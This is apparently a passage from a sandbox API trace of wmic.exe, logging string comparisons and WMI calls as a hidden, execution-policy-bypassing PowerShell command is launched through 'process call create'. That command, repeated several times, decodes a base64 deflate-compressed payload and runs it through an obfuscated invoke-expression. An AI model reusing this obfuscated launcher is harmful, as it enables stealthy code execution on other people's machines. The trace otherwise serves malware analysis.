\"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) \"") returned 925 [0089.490] lstrlenW (lpString="\"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) \"") returned 896 [0089.490] _wcsicmp (_String1="\"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) \"", _String2="\"NULL\"") returned 2 [0089.490] lstrlenW (lpString="\"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) \"") returned 896 [0089.490] lstrlenW (lpString="\"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\\\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\\\" + ([ChAr]44).ToSTRIng() + \"\\\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\\\" ) \"") returned 896 [0089.490] memmove_s (in: _Destination=0x3bbb00, _DestinationSize=0x18, _Source=0x3ba350, _SourceSize=0x18 | out: _Destination=0x3bbb00) returned 0x0 [0089.490] lstrlenW (lpString="QUIT") returned 4 [0089.490] lstrlenW (lpString="pRoCESs") returned 7 [0089.490] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="pRoCESs", cchCount1=7, lpString2="QUIT", cchCount2=4) returned 1 [0089.490] lstrlenW (lpString="EXIT") returned 4 [0089.490] lstrlenW (lpString="pRoCESs") returned 7 [0089.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="pRoCESs", cchCount1=7, lpString2="EXIT", cchCount2=4) returned 3 [0089.491] WbemLocator:IUnknown:AddRef (This=0x1ee1390) returned 0x2 [0089.491] lstrlenW (lpString="/") returned 1 [0089.491] lstrlenW (lpString="pRoCESs") returned 7 [0089.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="pRoCESs", cchCount1=7, lpString2="/", cchCount2=1) returned 3 [0089.491] lstrlenW (lpString="-") returned 1 [0089.491] lstrlenW (lpString="pRoCESs") returned 7 [0089.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="pRoCESs", cchCount1=7, lpString2="-", cchCount2=1) returned 3 [0089.491] lstrlenW (lpString="CLASS") returned 5 [0089.491] lstrlenW (lpString="pRoCESs") returned 7 [0089.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="pRoCESs", cchCount1=7, lpString2="CLASS", cchCount2=5) returned 3 [0089.491] lstrlenW (lpString="PATH") returned 4 [0089.491] lstrlenW (lpString="pRoCESs") returned 7 [0089.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="pRoCESs", cchCount1=7, lpString2="PATH", cchCount2=4) returned 3 [0089.491] lstrlenW (lpString="CONTEXT") returned 7 [0089.491] lstrlenW (lpString="pRoCESs") returned 7 [0089.491] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="pRoCESs", cchCount1=7, lpString2="CONTEXT", cchCount2=7) returned 3 [0089.491] lstrlenW (lpString="pRoCESs") returned 7 [0089.491] lstrlenW (lpString="pRoCESs") returned 7 [0089.492] GetCurrentThreadId () returned 0xaf0 [0089.492] ??0CHString@@QEAA@XZ () returned 0x1af9e0 [0089.492] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1ee1390, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x100012998 | out: ppNamespace=0x100012998*=0x1ef3a98) returned 0x0 [0089.637] CoSetProxyBlanket (pProxy=0x1ef3a98, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0089.637] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0089.637] GetCurrentThreadId () returned 0xaf0 [0089.637] ??0CHString@@QEAA@XZ () returned 0x1af878 [0089.637] SysStringLen (param_1="root\\cli") returned 0x8 [0089.637] SysStringLen (param_1="\\") returned 0x1 [0089.637] SysStringLen (param_1="root\\cli\\") returned 0x9 [0089.637] SysStringLen (param_1="ms_409") returned 0x6 [0089.637] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1ee1390, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x1000129a0 | out: ppNamespace=0x1000129a0*=0x1ef3b28) returned 0x0 [0089.680] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0089.680] GetCurrentThreadId () returned 0xaf0 [0089.680] ??0CHString@@QEAA@XZ () returned 0x1af9f0 [0089.680] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0089.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xfffa1980, cbMultiByte=-1, lpWideCharStr=0x3bbb60, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0089.680] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0089.680] SysStringLen (param_1="pRoCESs") returned 0x7 [0089.680] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='pRoCESs") returned 0x23 [0089.680] SysStringLen (param_1="'") returned 0x1 [0089.681] IWbemServices:GetObject (in: This=0x1ef3a98, strObjectPath="MSFT_CliAlias.FriendlyName='pRoCESs'", lFlags=0, pCtx=0x0, ppObject=0x1af9f8*=0x0, ppCallResult=0x0 | out: ppObject=0x1af9f8*=0x1f17350, ppCallResult=0x0) returned 0x0 [0089.715] IWbemClassObject:Get (in: This=0x1f17350, wszName="Target", lFlags=0, pVal=0x1af920*(varType=0x0, wReserved1=0x1, wReserved2=0x1, wReserved3=0x0, varVal1=0x100012998, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af920*(varType=0x8, wReserved1=0x1, wReserved2=0x1, wReserved3=0x0, varVal1="Select * from Win32_Process", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.715] lstrlenW (lpString="Select * from Win32_Process") returned 27 [0089.715] lstrlenW (lpString="Select * from Win32_Process") returned 27 [0089.715] IWbemClassObject:Get (in: This=0x1f17350, wszName="PWhere", lFlags=0, pVal=0x1af920*(varType=0x0, wReserved1=0x1, wReserved2=0x1, wReserved3=0x0, varVal1=0x2a3588, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af920*(varType=0x8, wReserved1=0x1, wReserved2=0x1, wReserved3=0x0, varVal1="WHERE ProcessId='#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.715] lstrlenW (lpString="WHERE ProcessId='#'") returned 19 [0089.715] lstrlenW (lpString="WHERE ProcessId='#'") returned 19 [0089.715] IWbemClassObject:Get (in: This=0x1f17350, wszName="Connection", lFlags=0, pVal=0x1af920*(varType=0x0, wReserved1=0x1, wReserved2=0x1, wReserved3=0x0, varVal1=0x2a3588, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af920*(varType=0xd, wReserved1=0x1, wReserved2=0x1, wReserved3=0x0, varVal1=0x1f17830, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.715] IUnknown:QueryInterface (in: This=0x1f17830, riid=0xfffa7360*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1af910 | out: ppvObject=0x1af910*=0x1f17830) returned 0x0 [0089.715] GetCurrentThreadId () returned 0xaf0 [0089.716] ??0CHString@@QEAA@XZ () returned 0x1af838 [0089.716] IWbemClassObject:Get (in: This=0x1f17830, wszName="Namespace", lFlags=0, pVal=0x1af860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfffb738f, varVal2=0x3ba3b0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af860*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x3ba3b0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.716] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0089.716] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0089.716] IWbemClassObject:Get (in: This=0x1f17830, wszName="Locale", lFlags=0, pVal=0x1af860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b2528, varVal2=0x3ba3b0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af860*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x3ba3b0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.716] lstrlenW (lpString="ms_409") returned 6 [0089.716] lstrlenW (lpString="ms_409") returned 6 [0089.716] IWbemClassObject:Get (in: This=0x1f17830, wszName="User", lFlags=0, pVal=0x1af860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b2528, varVal2=0x3ba3b0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af860*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b2528, varVal2=0x3ba3b0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.716] IWbemClassObject:Get (in: This=0x1f17830, wszName="Password", lFlags=0, pVal=0x1af860*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b2528, varVal2=0x3ba3b0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af860*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b2528, varVal2=0x3ba3b0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.716] IWbemClassObject:Get (in: This=0x1f17830, wszName="Server", lFlags=0, pVal=0x1af860*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b2528, varVal2=0x3ba3b0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af860*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x3ba3b0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.717] lstrlenW (lpString=".") returned 1 [0089.717] lstrlenW (lpString=".") returned 1 [0089.717] IWbemClassObject:Get (in: This=0x1f17830, wszName="Authority", lFlags=0, pVal=0x1af860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b2528, varVal2=0x3ba3b0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af860*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b2528, varVal2=0x3ba3b0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.717] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0089.717] IUnknown:Release (This=0x1f17830) returned 0x1 [0089.717] GetCurrentThreadId () returned 0xaf0 [0089.717] ??0CHString@@QEAA@XZ () returned 0x1af838 [0089.717] IWbemClassObject:Get (in: This=0x1f17350, wszName="__RELPATH", lFlags=0, pVal=0x1af860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b2528, varVal2=0xd), pType=0x0, plFlavor=0x0 | out: pVal=0x1af860*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"Process\"", varVal2=0xd), pType=0x0, plFlavor=0x0) returned 0x0 [0089.717] GetCurrentThreadId () returned 0xaf0 [0089.717] ??0CHString@@QEAA@XZ () returned 0x1af6b8 [0089.717] ??0CHString@@QEAA@PEBG@Z () returned 0x1af6d0 [0089.718] ??0CHString@@QEAA@AEBV0@@Z () returned 0x1af660 [0089.718] ?Empty@CHString@@QEAAXXZ () returned 0x7fee550482c [0089.718] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x3bbb90 [0089.718] ?Find@CHString@@QEBAHPEBG@Z () returned 0x1b [0089.718] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x1af620 [0089.724] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x1af668 [0089.724] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1af6d0 [0089.725] ??1CHString@@QEAA@XZ () returned 0x15590f01 [0089.725] ??1CHString@@QEAA@XZ () returned 0x15590f01 [0089.725] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x1af628 [0089.725] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1af660 [0089.725] ??1CHString@@QEAA@XZ () returned 0x1 [0089.725] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x3d0df0 [0089.725] ?Find@CHString@@QEBAHPEBG@Z () returned 0x7 [0089.725] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x1af620 [0089.725] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x1af668 [0089.725] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1af6d0 [0089.725] ??1CHString@@QEAA@XZ () returned 0x15590f01 [0089.725] ??1CHString@@QEAA@XZ () returned 0x15590f01 [0089.725] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x1af628 [0089.725] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x1af660 [0089.725] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0089.725] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x7fee5504820 [0089.725] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0089.726] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0089.726] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0089.726] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0089.726] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"Process\\\"") returned 0x26 [0089.726] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"Process\\\"") returned 0x79 [0089.726] SysStringLen (param_1="\"") returned 0x1 [0089.726] IWbemServices:GetObject (in: This=0x1ef3b28, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"Process\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x1af6a8*=0x0, ppCallResult=0x0 | out: ppObject=0x1af6a8*=0x1f178b0, ppCallResult=0x0) returned 0x0 [0089.740] IWbemClassObject:Get (in: This=0x1f178b0, wszName="Text", lFlags=0, pVal=0x1af6e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x100012ac0, varVal2=0x18), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6e0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b3600*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x255fd0, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x18), pType=0x0, plFlavor=0x0) returned 0x0 [0089.740] SafeArrayGetLBound (in: psa=0x2b3600, nDim=0x1, plLbound=0x1af6c0 | out: plLbound=0x1af6c0) returned 0x0 [0089.740] SafeArrayGetUBound (in: psa=0x2b3600, nDim=0x1, plUbound=0x1af6b0 | out: plUbound=0x1af6b0) returned 0x0 [0089.740] SafeArrayGetElement (in: psa=0x2b3600, rgIndices=0x1af6a4, pv=0x1af6f8 | out: pv=0x1af6f8) returned 0x0 [0089.740] SysStringLen (param_1="Process management. ") returned 0x14 [0089.741] IUnknown:Release (This=0x1f178b0) returned 0x0 [0089.741] ??1CHString@@QEAA@XZ () returned 0x15590f01 [0089.741] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0089.741] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0089.741] lstrlenW (lpString="Process management. ") returned 20 [0089.741] lstrlenW (lpString="Process management. ") returned 20 [0089.741] IUnknown:Release (This=0x1f17350) returned 0x0 [0089.741] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0089.741] lstrlenW (lpString="PATH") returned 4 [0089.741] lstrlenW (lpString="CAll") returned 4 [0089.741] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="PATH", cchCount2=4) returned 1 [0089.741] lstrlenW (lpString="WHERE") returned 5 [0089.741] lstrlenW (lpString="CAll") returned 4 [0089.741] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="WHERE", cchCount2=5) returned 1 [0089.741] lstrlenW (lpString="(") returned 1 [0089.741] lstrlenW (lpString="CAll") returned 4 [0089.741] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="(", cchCount2=1) returned 3 [0089.741] lstrlenW (lpString="/") returned 1 [0089.741] lstrlenW (lpString="CAll") returned 4 [0089.741] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="/", cchCount2=1) returned 3 [0089.741] lstrlenW (lpString="-") returned 1 [0089.741] lstrlenW (lpString="CAll") returned 4 [0089.741] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="-", cchCount2=1) returned 3 [0089.742] lstrlenW (lpString="GET") returned 3 [0089.742] lstrlenW (lpString="CAll") returned 4 [0089.742] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="GET", cchCount2=3) returned 1 [0089.742] lstrlenW (lpString="LIST") returned 4 [0089.742] lstrlenW (lpString="CAll") returned 4 [0089.742] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="LIST", cchCount2=4) returned 1 [0089.742] lstrlenW (lpString="SET") returned 3 [0089.742] lstrlenW (lpString="CAll") returned 4 [0089.742] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="SET", cchCount2=3) returned 1 [0089.742] lstrlenW (lpString="CREATE") returned 6 [0089.742] lstrlenW (lpString="CAll") returned 4 [0089.742] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="CREATE", cchCount2=6) returned 1 [0089.742] lstrlenW (lpString="CALL") returned 4 [0089.742] lstrlenW (lpString="CAll") returned 4 [0089.742] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="CALL", cchCount2=4) returned 2 [0089.742] lstrlenW (lpString="/") returned 1 [0089.742] lstrlenW (lpString="CAll") returned 4 [0089.742] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="/", cchCount2=1) returned 3 [0089.742] lstrlenW (lpString="-") returned 1 [0089.742] lstrlenW (lpString="CAll") returned 4 [0089.742] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="-", cchCount2=1) returned 3 [0089.742] lstrlenW (lpString="CAll") returned 4 [0089.742] lstrlenW (lpString="CAll") returned 4 [0089.742] lstrlenW (lpString="GET") returned 3 [0089.742] lstrlenW (lpString="CAll") returned 4 [0089.742] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="GET", cchCount2=3) returned 1 [0089.742] lstrlenW (lpString="LIST") returned 4 [0089.742] lstrlenW (lpString="CAll") returned 4 [0089.742] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="LIST", cchCount2=4) returned 1 [0089.742] lstrlenW (lpString="SET") returned 3 [0089.742] lstrlenW (lpString="CAll") returned 4 [0089.742] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="SET", cchCount2=3) returned 1 [0089.742] lstrlenW (lpString="CREATE") returned 6 [0089.742] lstrlenW (lpString="CAll") returned 4 [0089.743] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="CREATE", cchCount2=6) returned 1 [0089.743] lstrlenW (lpString="CALL") returned 4 [0089.743] lstrlenW (lpString="CAll") returned 4 [0089.743] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="CALL", cchCount2=4) returned 2 [0089.743] lstrlenW (lpString="/") returned 1 [0089.743] lstrlenW (lpString="cReAte") returned 6 [0089.743] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="cReAte", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0089.743] lstrlenW (lpString="-") returned 1 [0089.743] lstrlenW (lpString="cReAte") returned 6 [0089.743] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="cReAte", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0089.743] lstrlenW (lpString="cReAte") returned 6 [0089.743] lstrlenW (lpString="cReAte") returned 6 [0089.743] GetCurrentThreadId () returned 0xaf0 [0089.743] ??0CHString@@QEAA@XZ () returned 0x1aebb8 [0089.743] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0089.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xfffa1980, cbMultiByte=-1, lpWideCharStr=0x3bbb90, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0089.743] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0089.743] SysStringLen (param_1="pRoCESs") returned 0x7 [0089.743] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='pRoCESs") returned 0x23 [0089.743] SysStringLen (param_1="'") returned 0x1 [0089.744] IWbemServices:GetObject (in: This=0x1ef3a98, strObjectPath="MSFT_CliAlias.FriendlyName='pRoCESs'", lFlags=0, pCtx=0x0, ppObject=0x1aebf0*=0x0, ppCallResult=0x0 | out: ppObject=0x1aebf0*=0x1f17350, ppCallResult=0x0) returned 0x0 [0089.749] lstrlenW (lpString="CALL") returned 4 [0089.749] lstrlenW (lpString="CAll") returned 4 [0089.749] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="CALL", cchCount2=4) returned 2 [0089.749] IWbemClassObject:Get (in: This=0x1f17350, wszName="Verbs", lFlags=0, pVal=0x1aec40*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x71c60000012c, varVal2=0x2bb1c0), pType=0x0, plFlavor=0x0 | out: pVal=0x1aec40*(varType=0x200d, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b3600*(cDims=0x1, fFeatures=0x240, cbElements=0x8, cLocks=0x0, pvData=0x2b39f0, rgsabound=((cElements=0x6, lLbound=0))), varVal2=0x2bb1c0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.750] SafeArrayGetLBound (in: psa=0x2b3600, nDim=0x1, plLbound=0x1aec0c | out: plLbound=0x1aec0c) returned 0x0 [0089.750] SafeArrayGetUBound (in: psa=0x2b3600, nDim=0x1, plUbound=0x1aec10 | out: plUbound=0x1aec10) returned 0x0 [0089.750] SafeArrayGetElement (in: psa=0x2b3600, rgIndices=0x1aec00, pv=0x1aebd8 | out: pv=0x1aebd8) returned 0x0 [0089.750] IWbemClassObject:Get (in: This=0x1f1a340, wszName="Name", lFlags=0, pVal=0x1aec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1aec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Create", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.750] lstrlenW (lpString="Create") returned 6 [0089.750] lstrlenW (lpString="cReAte") returned 6 [0089.750] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="cReAte", cchCount1=6, 